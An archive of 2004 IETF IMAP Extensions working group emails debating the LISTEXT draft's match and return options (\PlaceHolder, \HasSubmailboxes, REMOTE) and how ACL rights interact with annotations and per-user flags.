Exactly.  UW imapd has always used \Deleted to reflect .newsrc state.  I 
didn't like the idea at first, but I came to realize that it makes a good 
deal of sense.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Tue, 24 Aug 2004 16:32:30 -0400
From: Cyrus Daboo <[email-masked]>
To: Lyndon Nerenberg <[email-masked]>, Mark Crispin <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Hi Lyndon,

--On Tuesday, August 24, 2004 1:15 PM -0700 Lyndon Nerenberg 
<[email-masked]> wrote:

>> Per-user \Deleted is useful for newsgroups...
>
> How so? You can't Expunge newsgroups (well, not in any IMAP server that
> I've come across). News client semantics key off \Seen.
>
> This is one of the major reasons why I don't like expressing newsgroups
> through IMAP.

Whilst you can't expunge you can at least do view-filtering on the client 
to hide the deleted messages, which is useful.

-- 
Cyrus Daboo

Date: Tue, 24 Aug 2004 13:15:51 -0700
From: Lyndon Nerenberg <[email-masked]>
To: Mark Crispin <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

--On 2004-8-24 12:35 PM -0700 Mark Crispin <[email-masked]> 
wrote:

> Per-user \Deleted is useful for newsgroups...

How so? You can't Expunge newsgroups (well, not in any IMAP server that 
I've come across). News client semantics key off \Seen.

This is one of the major reasons why I don't like expressing newsgroups 
through IMAP.

--lyndon

Date: Tue, 24 Aug 2004 15:41:10 -0400
From: Cyrus Daboo <[email-masked]>
To: Alexey Melnikov <[email-masked]>
cc: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 24, 2004 8:34 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

>> One option would be to change it to a match option instead of a return
>> option and rename it appropriately. e.g. add the search option
>> 'MATCHPARENT' which causes non-matching parent items to be matched and
>> implicitly results in \PlaceHolder and \HasSubmailboxes being computed
>> and returned. That would make the behaviour consistent.
>
> Hmm, this sounds sufficient. We wouldn't need another return option for
> this?

I can't think of a case where it would need a return option as well. Note 
that MATCHPARENT only makes sense when other match options are also used, 
so maybe it MUST NOT occur as the only match option.

-- 
Cyrus Daboo

Date: Tue, 24 Aug 2004 12:35:06 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Alexey Melnikov <[email-masked]>
cc: Dave Cridland <[email-masked]>, [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Tue, 24 Aug 2004, Alexey Melnikov wrote:
>> Equally, I've not seen \Deleted implemented as anything but shared... 
> Chris Newman thinks otherwise, although I've been surprised by this as well.

Per-user \Deleted is useful for newsgroups...

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Tue, 24 Aug 2004 20:34:24 +0100
From: Alexey Melnikov <[email-masked]>
To: Cyrus Daboo <[email-masked]>
CC: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Cyrus Daboo wrote:

> Hi Alexey,
>
> --On Tuesday, August 24, 2004 1:31 PM +0100 Alexey Melnikov 
> <[email-masked]> wrote:
>
>> One more issue: I was debating with myself whether SUBMAILBOXES is a
>> match option or a return option. It seems that return options should not
>> generally affect information about which mailboxes is returned (this is
>> what match options do). However SUBMAILBOXES forces the server to
>> [possibly] return information about parent mailboxes. I think this is a
>> single exception which should be allowed and clearly documented.
>
>
> One option would be to change it to a match option instead of a return 
> option and rename it appropriately. e.g. add the search option 
> 'MATCHPARENT' which causes non-matching parent items to be matched and 
> implicitly results in \PlaceHolder and \HasSubmailboxes being computed 
> and returned. That would make the behaviour consistent.

Hmm, this sounds sufficient. We wouldn't need another return option for 
this?

Alexey

Date: Tue, 24 Aug 2004 20:23:56 +0100
From: Alexey Melnikov <[email-masked]>
To: Dave Cridland <[email-masked]>
CC: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Dave Cridland wrote:

>> On a second through, if existing ACL implementations are Ok with 
>> declaring the 's' right as controlling per-user flags (except for 
>> \Deleted of course) and annotations, that would be fine with me.
>
> Equally, I've not seen \Deleted implemented as anything but shared... 

Chris Newman thinks otherwise, although I've been surprised by this as well.

From: Dave Cridland <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: <[email-masked]>
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Date: Tue, 24 Aug 2004 20:17:14 +0100
Sender: [email-masked]

On Tue Aug 24 18:47:39 2004, Alexey Melnikov wrote:
> Dave Cridland wrote:
>> 's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the 
>> only per-user data I'm aware of in an IMAP4 shared mailbox. 
> 
> I don't think ACL2 says that 's' only controls private (per-user) 
> \Seen even though Cyrus Imap implements the \Seen flag as private. 
> I've implemented \Seen as a shared flag once. Having said that, I 
> don't like overloading the meaning of different ACL rights.
> 
> 
Ah, yes, sorry, you're right - I just hadn't thought of \Seen as 
being anything but a private flag.

> On a second through, if existing ACL implementations are Ok with 
> declaring the 's' right as controlling per-user flags (except for 
> \Deleted of course) and annotations, that would be fine with me.

Equally, I've not seen \Deleted implemented as anything but shared...

I'd guess that the sole purpose of having 's' seperate was to support 
the notion of the private versus shared flags in Cyrus. I don't know 
other implementations' semantics well enough to know if it's worth 
formally redefining it in ACL2 to simply mean "private".

Dave.

From: Dave Cridland <[email-masked]>
To: <[email-masked]>
Subject: LISTEXT-08, REMOTE
Date: Tue, 24 Aug 2004 19:55:59 +0100
Sender: [email-masked]

I've a few problems with the REMOTE match and return modifier as 
specified in listext-08.

I've tossed a couple of ideas at Alexey, and I'll reprise them here, 
as well as (my interpretation of) his responses.

Specifically:

1) The REMOTE return option (hereafter referred to as REMOTE-return) 
is redundant, and serves no purpose at all in the current 
specification. It should therefore be modified or removed. Consider:

a) a LIST (REMOTE) "" "*"
b) b LIST (REMOTE) "" "*" RETURN (REMOTE)
c) c LIST "" "*"
d) d LIST "" "*" RETURN (REMOTE)

d is identical to c, b is identical to a.

If it's redundant, then it's just going to confuse people. In my 
opinion, it needs to be stripped out of the specification. (It serves 
no purpose whatsoever as it stands).

2) REMOTE does not match the similarly syntaxed SUBSCRIBED:

e) e LIST (SUBSCRIBED) "" "*"
f) f LIST (SUBSCRIBED) "" "*" RETURN (SUBSCRIBED)
g) g LIST "" "*"
h) h LIST "" "*" RETURN (SUBSCRIBED)

Here, while f is identical to e, h is not identical to g.

e and f both list *only* subscribed mailboxes, whereas g and h lists 
all mailboxes. h also provides \Subscribed flags as approriate.

To put it another way, REMOTE-match increases the matching mailboxes, 
whereas SUBSCRIBED-match reduces them.

SUBSCRIBED-return simply adds subscription information, whereas 
REMOTE-return does nothing.

3) We could change REMOTE-match to match remote mailboxes only, and 
change REMOTE-return from a noop to imply that remote mailboxes 
should be included in the search.

Alexey suggested:
> So you want a return option to change which mailboxes *match* the 
> selection criteria, which seems slightly wrong to me.

However, I don't think it is changing what's matched, but what 
mailboxes are searched through, which is slightly different, and has 
precedent - SUBMAILBOXES changes what's searched through as well.

The result would be:

a) Now lists only REMOTE mailboxes, with flags. [Presumably it would 
list local mailboxes that had children who are remote with 
\Placeholder where approriate.]
b) Does the same. [I'm assuming that, like SUBSCRIBED, the return 
option remains implied]
c) Remains unchanged, as it has to.
d) Lists all mailboxes, flagging those that are remote. [The same as 
a in the current specification.]

4) Alexey floated this idea:
> What about having REMOTEONLY match option in addition to REMOTE 
> match option?

A match, to me, means "ONLY" anyway. :-)

A subtle variation on this would be to create a LOCAL match, on by 
default, but turned off by the REMOTE match - this still leaves 
REMOTE-return redundant, though, so it'd still have to be stripped 
out of the specification, in my opinion.

5) Alexey also floated this:
> An alternative is to change the definition of REMOTE to only match 
> remote mailboxes and force the client to issue 2 extended LIST 
> commands to get information about both local and remote mailboxes.

Which I don't like anymore than I suspect he does.

I have to admit, I can't think of a real-world circumstance where a 
client would want to limit the mailboxes returned by a LIST to only 
remote ones. (There's specialized management clients, of course, but 
those are on fast connections I assume, and could presumably cope 
with the extra information.) So it's quite possible that the best 
solution is to get rid of either REMOTE-match or REMOTE-return 
entirely and have done with it.

Dave.

Date: Tue, 24 Aug 2004 18:47:39 +0100
From: Alexey Melnikov <[email-masked]>
To: Dave Cridland <[email-masked]>
CC: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Dave Cridland wrote:

> Hiya, folks.
>
> I noticed the thread in the archives about ANNOTATE/ACL interaction, 
> and Arnt Gulbrandsen's comment on it.
>
> A quick suggestion:
>
> Could we use the 's' right to indicate permission to store private 
> annotations, and the 'w' write to store shared ones?
>
> This seems more logical to me, since:
>
> 's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the only 
> per-user data I'm aware of in an IMAP4 shared mailbox. 

I don't think ACL2 says that 's' only controls private (per-user) \Seen 
even though Cyrus Imap implements the \Seen flag as private. I've 
implemented \Seen as a shared flag once. Having said that, I don't like 
overloading the meaning of different ACL rights.

On a second through, if existing ACL implementations are Ok with 
declaring the 's' right as controlling per-user flags (except for 
\Deleted of course) and annotations, that would be fine with me.

> 'w' is used for 'flags other than \SEEN and \DELETED' - in other 
> words, those flags which are informational only to the server, but 
> affect other clients.

Alexey

From: Dave Cridland <[email-masked]>
To: <[email-masked]>
Subject: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Date: Tue, 24 Aug 2004 16:58:37 +0100
Sender: [email-masked]

Hiya, folks.

I noticed the thread in the archives about ANNOTATE/ACL interaction, 
and Arnt Gulbrandsen's comment on it.

A quick suggestion:

Could we use the 's' right to indicate permission to store private 
annotations, and the 'w' write to store shared ones?

This seems more logical to me, since:

's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the only 
per-user data I'm aware of in an IMAP4 shared mailbox.

'w' is used for 'flags other than \SEEN and \DELETED' - in other 
words, those flags which are informational only to the server, but 
affect other clients.

In the absence of ACL2, or ACL:

If SELECT returns [READ-ONLY], then private annotation stores MAY 
succeed (in line with 3501/6.3.1), but shared annotation stores MUST 
fail (likewise).
If EXAMINE is used, then all annotation stores MUST fail (3501/6.3.2 
appears to support this.)

However, since there seems much debate about this, perhaps I'm 
missing something obvious?

Feel free to shoot me down in flames if I'm being an idiot. :-)

Dave.

Date: Tue, 24 Aug 2004 10:32:03 -0400
From: Cyrus Daboo <[email-masked]>
To: Alexey Melnikov <[email-masked]>, Lisa Dusseault <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 24, 2004 1:31 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

> One more issue: I was debating with myself whether SUBMAILBOXES is a
> match option or a return option. It seems that return options should not
> generally affect information about which mailboxes is returned (this is
> what match options do). However SUBMAILBOXES forces the server to
> [possibly] return information about parent mailboxes. I think this is a
> single exception which should be allowed and clearly documented.

One option would be to change it to a match option instead of a return 
option and rename it appropriately. e.g. add the search option 
'MATCHPARENT' which causes non-matching parent items to be matched and 
implicitly results in \PlaceHolder and \HasSubmailboxes being computed and 
returned. That would make the behaviour consistent.

-- 
Cyrus Daboo

Date: Tue, 24 Aug 2004 13:31:36 +0100
From: Alexey Melnikov <[email-masked]>
To: Lisa Dusseault <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Lisa Dusseault wrote:

> We need to resolve all the editor comments/questions left in the 
> draft, so I've gone through each one to give an opinion.  Most 
> importantly, I propose to leave \PlaceHolder in place, but to provide 
> an example that illustrates its use.  At some point we'll need a draft 
> without those comments & go to last call.
>
> 1. "<<if the first word after the command
>    name begins with a parenthesis, the new syntax is being used; if it
>    does not, it's in the original syntax>>."
>
> For this one, the << and >> need to be taken out -- the sentence 
> fragment (or one like it) is needed. 

I will update this sentence to match the reality: there are now 3 ways 
(instead of 1 as described) to detect new syntax. No action is required 
from the WG.

> 2. "<<the capability name will change
>    upon publication as an RFC>>"
>
> Please change this to a RFC EDITOR note. 

Ok.

> 3. "<<The following will be removed if the \PlaceHolder flag is also 
> removed..."
>
> Let's leave \PlaceHolder in place.  If anybody has specific 
> suggestions for improving the explanations, please provide them.  If 
> anybody really objects to \Placeholder, please provide either an 
> alternative name or an alternative mechanism  to solve the problem.
>
> To make the spec clearer, an example will be provided as per another 
> comment. 

Make sense.

> 4. "<<Note to the RFC editor: please update upon publication as above>>"
>
> I think this can be left as is for the RFC editor to deal with.
>
> 5. "<<and
>    support for it is a prerequisite for any future extensions that
>    require specialized forms of the LIST command>>"
>
> For this one, remove << and >> and leave the sentence fragment in place. 

The issues here is that I would like to allow for IMAP extensions that 
*generate* LISTEXT responses, but don't necessarily support extended 
LIST syntax (i.e. they don't *parse* extended LIST command) or don't 
have to support the core set of match options: 
SUBSCRIBED/REMOTE/CHILDREN/SUBMAILBOXES. One example of such extension 
is ACL2. One can read the current draft that any ACL2 server MUST 
advertise both LISTEXT and ACL2 in its capability response. In order to 
clarify that this is not the case, I will need to do some text 
reorganization.

> 6. "<<We probably need an example to illustrate this>>"
>
> Agreed.  please put one in or refer to a later example that 
> illustrates this. 

Ok.

> 7. "<<Note, that the SUBSCRIBED match option implies the SUBSCRIBED
>           return option (see below).>>"
> 8. "<<Note, that the REMOTE match option implies the REMOTE
>           return option (see below).>>"
>
> I think for both of these, the comment markers << and >> can be 
> removed and the sentences remain to help readers. 

I agree. I will also update IANA registration template to allow a match 
option to require a particular return option (see issue #13 below).

> 9. "<<mailboxes?>>"
> 10. "<<mailbox>>"
>
> Shouldn't this be "folders/folder"?  Take a stab at it, at any rate, 
> remove the question mark and << >>. 

Maybe. We need some term for something which is not necessary a mailbox, 
e.g. a "non existent mailbox". I vaguely remember that Mark has made 
some suggestion on this, I will have to double check.

> 11. "<<Can we say that the output is a superset
>    of the output in the previous example? What about nonexistent
>    "Fruit/Peach"?>>"
>
> Obviously it's not a superset.  Why not remove this comment, text 
> included.

Ok. I am tempted to update the Note to say that is is not a superset, so 
that other people don't get confused ;-).

> 12. "<<S: * LIST (\Subscribed \NonExistent) "/" "Fruit/Peach">>"
>
> This is a problem -- commented text that appears in the middle of an 
> example.  Should this line appear or not?  This probably also requires 
> clarifying text up front once the authors make a decision, to explain 
> why that's the only decision that will be possible to implementors of 
> the spec. 

This relates to #11.

> 13. " <<Implied return options(s) if the option type is MATCH?>>"
>
> I don't know about this one -- authors, please make a recommendation.

I think #7 and #8 answer this.

>   I get the feeling that implied return options don't need to appear 
> in the registration template

Thinking more about this: I don't think this is the case. I still can 
see a situation when a return option doesn't have a corresponding match 
option. So we should keep two registration templates.

> but that extra information may need to appear elsewhere. 

One more issue: I was debating with myself whether SUBMAILBOXES is a 
match option or a return option. It seems that return options should not 
generally affect information about which mailboxes is returned (this is 
what match options do). However SUBMAILBOXES forces the server to 
[possibly] return information about parent mailboxes. I think this is a 
single exception which should be allowed and clearly documented.

Alexey

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: LISTEXT to finish...
Date: Mon, 23 Aug 2004 16:35:51 -0700
Sender: [email-masked]

We need to resolve all the editor comments/questions left in the draft, 
so I've gone through each one to give an opinion.  Most importantly, I 
propose to leave \PlaceHolder in place, but to provide an example that 
illustrates its use.  At some point we'll need a draft without those 
comments & go to last call.

1. "<<if the first word after the command
    name begins with a parenthesis, the new syntax is being used; if it
    does not, it's in the original syntax>>."

For this one, the << and >> need to be taken out -- the sentence 
fragment (or one like it) is needed.

2. "<<the capability name will change
    upon publication as an RFC>>"

Please change this to a RFC EDITOR note.

3. "<<The following will be removed if the \PlaceHolder flag is also 
removed..."

Let's leave \PlaceHolder in place.  If anybody has specific suggestions 
for improving the explanations, please provide them.  If anybody really 
objects to \Placeholder, please provide either an alternative name or 
an alternative mechanism  to solve the problem.

To make the spec clearer, an example will be provided as per another 
comment.

4. "<<Note to the RFC editor: please update upon publication as above>>"

I think this can be left as is for the RFC editor to deal with.

5. "<<and
    support for it is a prerequisite for any future extensions that
    require specialized forms of the LIST command>>"

For this one, remove << and >> and leave the sentence fragment in place.

6. "<<We probably need an example to illustrate this>>"

Agreed.  please put one in or refer to a later example that illustrates 
this.

7. "<<Note, that the SUBSCRIBED match option implies the SUBSCRIBED
           return option (see below).>>"
8. "<<Note, that the REMOTE match option implies the REMOTE
           return option (see below).>>"

I think for both of these, the comment markers << and >> can be removed 
and the sentences remain to help readers.

9. "<<mailboxes?>>"
10. "<<mailbox>>"

Shouldn't this be "folders/folder"?  Take a stab at it, at any rate, 
remove the question mark and << >>.

11. "<<Can we say that the output is a superset
    of the output in the previous example? What about nonexistent
    "Fruit/Peach"?>>"

Obviously it's not a superset.  Why not remove this comment, text 
included.

12. "<<S: * LIST (\Subscribed \NonExistent) "/" "Fruit/Peach">>"

This is a problem -- commented text that appears in the middle of an 
example.  Should this line appear or not?  This probably also requires 
clarifying text up front once the authors make a decision, to explain 
why that's the only decision that will be possible to implementors of 
the spec.

13. " <<Implied return options(s) if the option type is MATCH?>>"

I don't know about this one -- authors, please make a recommendation.  
I get the feeling that implied return options don't need to appear in 
the registration template but that extra information may need to appear 
elsewhere.

Lisa

To: Timo Sirainen <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
From: Philip Guenther <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions 
Date: Wed, 18 Aug 2004 15:17:30 -0700
Sender: [email-masked]

Timo Sirainen <[email-masked]> writes:
>On 18.8.2004, at 23:40, Philip Guenther wrote:
...
>> When there are no selection options like SUBSCRIBED, then you can
>> derive the CHILDREN flags from the SUBMAILBOXES flags:
>> - \HasSubmailboxes implies \HasChildren
>> - \PlaceHolder implies \HasChildren and \Nonexistent
>
>I thought \PlaceHolder would never appear then?

Consider a system where the mailbox "foo/bar" can exist without "foo"
existing (this can happen under Cyrus, for example).
	tag LIST (SUBMAILBOXES) "" %
should include
	* LIST (\PlaceHolder \NonExistent) "/" "foo"
among its responses.

>> - having neither \HasSubmailboxes nor \PlaceHolder implies 
>> \HasNoChildren
>
>If a subscribed mailbox has non-subscribed children, I don't think 
>\HasSubmailboxes is supposed to be sent then? In that case it doesn't 
>imply \HasNoChildren.

Correct.  My statement was in the context of the "When there are no
selection options like SUBSCRIBED" constraint.

>Maybe the \HasSubmailboxes should rather be named \HasSubMatches or 
>something similiar?

<shrug>
I'm not particularly attached to the names, though \HasSubMatches may
make it seem the submailbox in question matches the _pattern_ instead of
the selection criteria.
<shrug>

>How well in general does LISTEXT allow server to send LIST replies to 
>client unilaterally?

It doesn't affect it all: the server can always send whatever responses
it wants, though they better be "true" in some sense.  Rob raised this
before, which led to the addition of the \Subscribed and \Remote flags
to eliminate the ambiguity that can be created.  (See the list archives
for an example.)

>For example to update \Marked, \UnMarked or 
>\Subscribed flags, or simply to announce existance of new mailbox? At 
>least any assumptions about the meaning of lack of flags seem to break 
>then.

Yes and no.  Suppose you receive one or more LIST responses for a
mailbox between the time you send a LIST command and you get the tagged
OK.  Responses for mailboxes that don't match the reference+pattern
arguments were unsolicited, so you can't draw a conclusion from the
absence of flags for them.  Similarly, if the LIST had the SUBSCRIBED
option, then responses that don't have the \Subscribed flag were
unsolicited.  For the rest of responses, at least one of them for each
mailbox has the right flags, so the union of the flags returned for a
given mailbox should be correct for drawing conclusions about it not
having any children, etc.

Philip Guenther

Cc: IMAP Extensions WG <[email-masked]>
From: Timo Sirainen <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions 
Date: Thu, 19 Aug 2004 00:27:46 +0300
To: Philip Guenther <[email-masked]>
Sender: [email-masked]

--Apple-Mail-12-740633111
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 18.8.2004, at 23:40, Philip Guenther wrote:

> This is the key difference between SUBMAILBOXES and CHILDREN options:
> the former tells you whether there are children mailboxes that match
> the selection criteria, the latter tells you whether there are
> children mailboxes that simply _exist_.

OK, this makes sense now. I think the draft text needs to be clarified 
a bit, at least added something about the children and submailboxes 
difference.

Also the term "selection criteria" doesn't seem to be explained 
anywhere in the draft.

> When there are no selection options like SUBSCRIBED, then you can
> derive the CHILDREN flags from the SUBMAILBOXES flags:
> - \HasSubmailboxes implies \HasChildren
> - \PlaceHolder implies \HasChildren and \Nonexistent

I thought \PlaceHolder would never appear then?

> - having neither \HasSubmailboxes nor \PlaceHolder implies 
> \HasNoChildren

If a subscribed mailbox has non-subscribed children, I don't think 
\HasSubmailboxes is supposed to be sent then? In that case it doesn't 
imply \HasNoChildren.

Maybe the \HasSubmailboxes should rather be named \HasSubMatches or 
something similiar?

How well in general does LISTEXT allow server to send LIST replies to 
client unilaterally? For example to update \Marked, \UnMarked or 
\Subscribed flags, or simply to announce existance of new mailbox? At 
least any assumptions about the meaning of lack of flags seem to break 
then.

--Apple-Mail-12-740633111
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

--Apple-Mail-12-740633111--

To: Timo Sirainen <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
From: Philip Guenther <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions 
Date: Wed, 18 Aug 2004 13:40:42 -0700
Sender: [email-masked]

Timo Sirainen <[email-masked]> writes:
>On 17.8.2004, at 15:12, Alexey Melnikov wrote:
>>> However what's the point of \HasSubmailboxes? Looks like the only 
>>> time it's returned is when doing LIST *,
>>
>> No, it will also be returned for LIST %.
>> \PlaceHolder says that the mailbox doesn't match the selection 
>> option(s), but one of the children might.
>
>This I understand because it's required for LIST (subscribed) % to work 
>in a useful way.
>
>> \HasSubmailboxes says that the mailbox does match the selection 
>> option(s) and one of the children might.
>
>But this I still don't. You mean that LIST % will return 
>\HasSubmailboxes for all mailboxes that have children?

No.  The mailbox has to
a) match the selection criteria (e.g., be subscribed), and
b) have a child that matches the selection criteria.  That it
   simply has a child mailbox is not sufficient.

This is the key difference between SUBMAILBOXES and CHILDREN options:
the former tells you whether there are children mailboxes that match
the selection criteria, the latter tells you whether there are
children mailboxes that simply _exist_.

When there are no selection options like SUBSCRIBED, then you can
derive the CHILDREN flags from the SUBMAILBOXES flags:
- \HasSubmailboxes implies \HasChildren
- \PlaceHolder implies \HasChildren and \Nonexistent
- having neither \HasSubmailboxes nor \PlaceHolder implies \HasNoChildren

When SUBSCRIBED or a similar option is involved, they may behave
completely differently; for example, one mailbox may have a child
that isn't subscribed (\HasChildren but not \HasSubMailboxes or
\PlaceHolder), while another may 'have' a subscribed child that
doens't exist any more (\HasSubMailboxes or \PlaceHolder, but not
\HasChildren).

To back track, \HasSubMailboxes came about after I asked what a
server should do when it has at least one child mailbox that matches
the selection criteria (say, SUBSCRIBED) but that doesn't match the
pattern, for the case when the mailbox also matches the selection
criteria.  Before \HasSubMailboxes, only two answers made sense, though
they both were ugly:

1) don't tell the client that there's a selected child at all
	* LIST () "/" foo

2) send *two* reponses for the mailboxes
	* LIST () "/" foo
	* LIST (\PlaceHolder) "/" foo

If (1) is acceptable, then a client that wants to display the
subscribed mailbox hierarchy level by level has to manually check
for subscribed children below each subscribed mailbox.

It has been argued that (2) is the correct answer for this situation
with LSUB.  In off-list mail with Alexey, I questioned the wisdom
of designing a requirement that a server send two replies for a
single mailbox.  After some slogging back and forth, \HasSubMailboxes
emerged.  That part of the discussion should probably have migrated
back to the list after the initial flailing around...

>Why? I don't see 
>why % would match child mailboxes, isn't the whole point of it not to? 

It sounds like you're mixing the pattern matching of the names into
the selection criteria.  The definitions of \HasSubmailboxes and
\PlaceHolder depend on keeping them separate.

>Or do you mean that % would also match for child mailboxes? So for 
>example:
>
>LIST *
>* LIST (\HasSubmailboxes) foo
>* LIST () foo/bar

Yes. (Well, you're leaving out the hierarchy delimiter...)

>LIST %
>* LIST (\HasSubmailboxes) foo

Yes.

>LIST %o
>* LIST () foo

No, that should return
	* LIST (\HasSubmailboxes) "/" foo
too: "foo" has a child mailbox that matches the selection criteria
(by existing).  The change in pattern didn't affect which mailboxes
were matched, why would you think anything had changed?

Philip Guenther

Subject: Re: New revision of draft-ietf-imapext-list-extensions
From: Timo Sirainen <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Date: Wed, 18 Aug 2004 21:14:41 +0300
Sender: [email-masked]

--=-Vr62D9nes8XgKzM59a7y
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Wed, 2004-08-18 at 11:42 +0100, Alexey Melnikov wrote:
> >> \HasSubmailboxes says that the mailbox does match the selection=20
> >> option(s) and one of the children might.
> >
> > But this I still don't. You mean that LIST % will return=20
> > \HasSubmailboxes for all mailboxes that have children?
>=20
> It must if the CHILDREN option was also specified, but it may even=20
> without it (if this information is readily available on the server).

\HasSubmailboxes isn't \HasChildren.

> > Why? I don't see why % would match child mailboxes, isn't the whole=20
> > point of it not to?=20
>=20
> It will not match a child mailbox, but it will return information about=20
> them.
> The assumption here is that the client is not doing LIST "" *, as it=20
> might return too many responses. Instead the client is doing LIST "" %,=20
> then for each mailbox  <foo> marked with \HasChildren the client will=20
> try LIST "" <foo>/%.

Yes, \HasChildren is useful for that. So why also have \HasSubmailboxes?

Could you give some example when \HasSubmailboxes is useful for client,
but \HasChildren isn't enough?

To me they seem very much the same thing except \HasSubmailboxes has
some very strange explanation when it's supposed to be sent.

--=-Vr62D9nes8XgKzM59a7y
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

--=-Vr62D9nes8XgKzM59a7y--

Date: Wed, 18 Aug 2004 11:42:46 +0100
From: Alexey Melnikov <[email-masked]>
To: Timo Sirainen <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Sender: [email-masked]

Timo Sirainen wrote:

> On 17.8.2004, at 15:12, Alexey Melnikov wrote:
>
>>> However what's the point of \HasSubmailboxes? Looks like the only 
>>> time it's returned is when doing LIST *,
>>
>> No, it will also be returned for LIST %.
>> \PlaceHolder says that the mailbox doesn't match the selection 
>> option(s), but one of the children might.
>
> This I understand because it's required for LIST (subscribed) % to 
> work in a useful way.
>
>> \HasSubmailboxes says that the mailbox does match the selection 
>> option(s) and one of the children might.
>
> But this I still don't. You mean that LIST % will return 
> \HasSubmailboxes for all mailboxes that have children?

It must if the CHILDREN option was also specified, but it may even 
without it (if this information is readily available on the server).

> Why? I don't see why % would match child mailboxes, isn't the whole 
> point of it not to? 

It will not match a child mailbox, but it will return information about 
them.
The assumption here is that the client is not doing LIST "" *, as it 
might return too many responses. Instead the client is doing LIST "" %, 
then for each mailbox  <foo> marked with \HasChildren the client will 
try LIST "" <foo>/%.

> Or do you mean that % would also match for child mailboxes? So for 
> example:
>
> LIST *
> * LIST (\HasSubmailboxes) foo
> * LIST () foo/bar
>
> LIST %
> * LIST (\HasSubmailboxes) foo
>
> LIST %o
> * LIST () foo 

Yes.

> I don't really understand that either.

Cc: IMAP Extensions WG <[email-masked]>
From: Timo Sirainen <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Date: Tue, 17 Aug 2004 23:59:40 +0300
To: Alexey Melnikov <[email-masked]>
Sender: [email-masked]

--Apple-Mail-8-652547114
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 17.8.2004, at 15:12, Alexey Melnikov wrote:

>> However what's the point of \HasSubmailboxes? Looks like the only 
>> time it's returned is when doing LIST *,
>
> No, it will also be returned for LIST %.
> \PlaceHolder says that the mailbox doesn't match the selection 
> option(s), but one of the children might.

This I understand because it's required for LIST (subscribed) % to work 
in a useful way.

> \HasSubmailboxes says that the mailbox does match the selection 
> option(s) and one of the children might.

But this I still don't. You mean that LIST % will return 
\HasSubmailboxes for all mailboxes that have children? Why? I don't see 
why % would match child mailboxes, isn't the whole point of it not to? 
Or do you mean that % would also match for child mailboxes? So for 
example:

LIST *
* LIST (\HasSubmailboxes) foo
* LIST () foo/bar

LIST %
* LIST (\HasSubmailboxes) foo

LIST %o
* LIST () foo

I don't really understand that either.

--Apple-Mail-8-652547114
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

--Apple-Mail-8-652547114--

Date: Tue, 17 Aug 2004 13:12:06 +0100
From: Alexey Melnikov <[email-masked]>
To: Timo Sirainen <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Sender: [email-masked]

Timo Sirainen wrote:

> On 16.8.2004, at 23:06, Lisa Dusseault wrote:
>
>> Did somebody have a proposal for what to do about \PlaceHolder?  
>> Without a preferred counter-proposal, we'll probably go to Last Call 
>> with the placeHolder stuff as-is.
>
> I don't remember seeing discussion here about \PlaceHolder. Seems 
> useful to me.
>
> However what's the point of \HasSubmailboxes? Looks like the only time 
> it's returned is when doing LIST *,

No, it will also be returned for LIST %.
\PlaceHolder says that the mailbox doesn't match the selection 
option(s), but one of the children might.
\HasSubmailboxes says that the mailbox does match the selection 
option(s) and one of the children might.

> and in that case the LIST reply for the submailbox itself is also 
> returned.

Not for LIST "" "%".

From: Timo Sirainen <[email-masked]>
